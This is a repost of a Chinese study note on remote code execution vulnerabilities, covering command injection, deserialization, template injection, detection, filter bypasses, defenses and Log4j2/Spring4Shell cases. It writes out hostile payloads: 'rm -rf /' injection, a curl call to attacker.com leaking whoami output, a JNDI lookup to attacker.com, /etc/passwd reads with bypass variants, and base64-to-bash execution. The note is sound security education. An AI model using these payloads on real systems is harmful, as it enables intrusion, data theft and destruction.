欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 建筑 > RCE漏洞

RCE漏洞

2025/3/9 9:21:09 来源:https://blog.csdn.net/lsswyy/article/details/146065618  浏览:    关键词:RCE漏洞

RCE漏洞学习笔记

1. 基本概念

  • 定义:攻击者通过漏洞在目标服务器上执行任意命令或代码

  • 危害等级:高危(直接影响服务器控制权)

  • 常见场景

    • Web应用参数未过滤(如URL、表单、HTTP头)

    • 反序列化漏洞

    • 第三方组件漏洞(如Log4j2、Fastjson)

    • 文件上传 + 解析漏洞


2. RCE漏洞类型

2.1 命令注入(Command Injection)

  • 原理:通过拼接系统命令执行恶意指令

  • 示例

    php

    // PHP示例
    $ip = $_GET['ip'];
    system("ping -c 4 " . $ip);  // 攻击者输入:127.0.0.1; rm -rf /
  • 常用Payload

    ; command          # Unix分号分隔
    | command          # 管道符
    && command         # 逻辑与
    || command         # 逻辑或
    `command`          # 反引号执行
    $(command)         # 子shell执行

2.2 反序列化RCE

  • 原理:利用反序列化操作触发危险方法(如PHP的__destruct、Java的readObject

  • 经典漏洞

    • Java: Fastjson(CVE-2022-25845)、Jackson

    • Python: Pickle反序列化

    • PHP: Phar反序列化

2.3 模板注入(SSTI)

  • 原理:模板引擎解析用户输入为代码

    python

    # Flask示例(Jinja2)
    @app.route('/hello/<name>')
    def hello(name):return render_template_string(f'Hello {name}!')
    # 攻击输入:{{7*7}} → 输出Hello 49!
  • 常见引擎

    • Java: FreeMarker、Velocity

    • Python: Jinja2、Mako

    • PHP: Twig、Smarty

2.4 其他类型

  • 文件包含漏洞php://input + POST代码执行

  • 表达式注入:SpEL(Spring)、OGNL(Struts2)

  • 内存破坏漏洞:缓冲区溢出(C/C++程序)


3. 实战利用技巧

3.1 检测方法

  • 黑盒测试

    • 输入特殊字符测试命令拼接(; | >等)

    • 使用延时命令判断(如ping -c 4 127.0.0.1sleep 5

    • DNS外带数据检测:curl http://attacker.com/$(whoami)

  • 白盒审计

    • 搜索危险函数:

      bash

      # PHP
      system(), exec(), passthru(), eval()
      # Java
      Runtime.getRuntime().exec()
      # Python
      os.system(), subprocess.run()

3.2 常用工具

  • 漏洞扫描

    • Burp Suite(手工测试)

    • Nuclei(自动化模板)

  • 利用框架

    • Metasploit(exploit/multi/http/log4shell_rce

    • SQLMap(--os-shell参数)

  • Payload生成

    • RevShells(反向Shell生成)

    • CyberChef(编码转换)

3.3 绕过防御

  • 过滤绕过

    bash

    # 空格绕过
    cat</etc/passwd
    {cat,/etc/passwd}
    ​
    # 关键字绕过
    c\at /etc/passwd
    c''at /etc/passwd
  • 编码绕过

    bash

    # Base64
    echo 'whoami' | base64 → d2hvYW1pCg==
    echo d2hvYW1pCg== | base64 -d | bash

4. 防御方案

4.1 输入处理

  • 白名单验证:限制用户输入格式(如IP地址正则)

  • 敏感字符过滤:移除; | &等危险符号

  • 参数化处理:避免直接拼接命令

    python

    # 错误方式
    os.system(f"ping {ip}")
    ​
    # 正确方式(Python示例)
    subprocess.run(['ping', '-c', '4', ip], check=True)

4.2 安全配置

  • 最小权限原则:运行服务的用户使用低权限账户

  • 禁用危险函数

    php

    ; php.ini
    disable_functions = system, exec, passthru
  • 沙箱隔离:使用Docker容器或沙箱环境运行不可信代码

4.3 其他防护

  • WAF规则:拦截常见RCE特征(如/etc/passwdwhoami

  • 日志监控:记录命令执行行为并设置告警

  • 依赖管理:及时更新第三方库(如修复Log4j2)


5. 经典漏洞案例

  1. Log4j2 RCE(CVE-2021-44228)

    • 利用Payload:${jndi:ldap://attacker.com/exp}

    • 防御:升级到Log4j 2.17.0+

  2. Spring4Shell(CVE-2022-22965)

    • 利用条件:JDK 9+ + Tomcat部署

    • 攻击路径:通过数据绑定修改日志路径上传Webshell

  3. Apache Struts2 RCE(S2-045)

    • 漏洞点:错误处理时的OGNL表达式执行

    • Payload示例:%{(#_='multipart/form-data').(...)}


6. 学习资源

  • 靶场练习

    • DVWA(Command Injection模块)

    • PortSwigger Web Security Academy

    • VulnHub漏洞环境

  • 参考资料

    • OWASP Top 10(A03: Injection)

    • PayloadsAllTheThings - RCE

    • 《白帽子讲Web安全》

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词